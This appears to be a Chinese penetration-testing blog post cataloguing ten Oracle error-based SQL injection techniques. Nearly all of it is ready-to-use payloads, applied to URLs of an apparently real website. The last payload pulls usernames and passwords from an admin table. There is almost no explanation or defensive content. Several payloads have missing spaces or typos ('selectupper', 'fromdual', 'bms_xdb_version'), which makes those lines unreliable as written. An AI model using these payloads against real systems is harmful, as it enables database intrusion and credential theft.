欢迎来到【血梦博客】 今天是:2021年03月08日 星期一
站长联系QQ:635948183
当前位置: 网站首页> 渗透测试> WEB安全之SQL注入:oracle 报错注入

WEB安全之SQL注入:oracle 报错注入

作者:血梦 日期:2020-03-18 浏览:343分类: 渗透测试 已提交百度收录

0x1 utl_inaddr.get_host_name()进行报错注入

and 1=utl_inaddr.get_host_name((select user from dual))--
http://www.jsporcle.com/news.jsp?id=1 and 1=utl_inaddr.get_host_name((select user from dual))--

0x2 ctxsys.drithsx.sn()进行报错注入

http://www.jsporcle.com/news.jsp?id=1 and 1=ctxsys.drithsx.sn(1,(select user from dual))--

1559831741220064.png

0x3 XMLType()进行报错注入

and (selectupper(XMLType(chr(60)||chr(58)||(select user from dual)||chr(62))) from dual)is not null --

http://www.jsporcle.com/news.jsp?id=1 and (select upper(XMLType(chr(60)%7c%7cchr(58)%7c%7c(select user fromdual)%7c%7cchr(62))) from dual) is not null --

0x4 dbms_xdb_version.checkin()进行报错注入

and (select dbms_xdb_version.checkin((select user from dual)) from dual) is not null --



查询版本信息

http://www.jsporcle.com/news.jsp?id=1 and (select dbms_xdb_version.checkin((select banner from sys.v_$version whererownum=1)) from dual) is not null --



                              
0x5 bms_xdb_version.makeversioned()进报错注入

and (selectdbms_xdb_version.makeversioned((select user from dual)) from dual) is not null--

0x6 dbms_xdb_version.uncheckout()进行报错注入

and (selectdbms_xdb_version.uncheckout((select user from dual)) from dual) is not null --

0x7 dbms_utility.sqlid_to_sqlhash()进行报错注入

and (SELECTdbms_utility.sqlid_to_sqlhash((select user from dual)) from dual) is not null--

0x8 ordsys.ord_dicom.getmappingxpath()进行报错注入

and 1=ordsys.ord_dicom.getmappingxpath((select user from dual),user,user)--

0x9 decode进行报错注入,这种方式更偏向布尔型注入,因为这种方式并不会通过报错把查询结果回显回来,仅是用来作为页面的表现不同的判断方法。

and 1=(selectdecode(substr(user,1,1),'S',(1/0),0) from dual) --

0x10报错admin表的 用户和密码

http://www.jsporcle.com/news.jsp?id=1 and 1=utl_inaddr.get_host_name((select (select username%7c%7cpassword from admin)from dual))--

2.png

关灯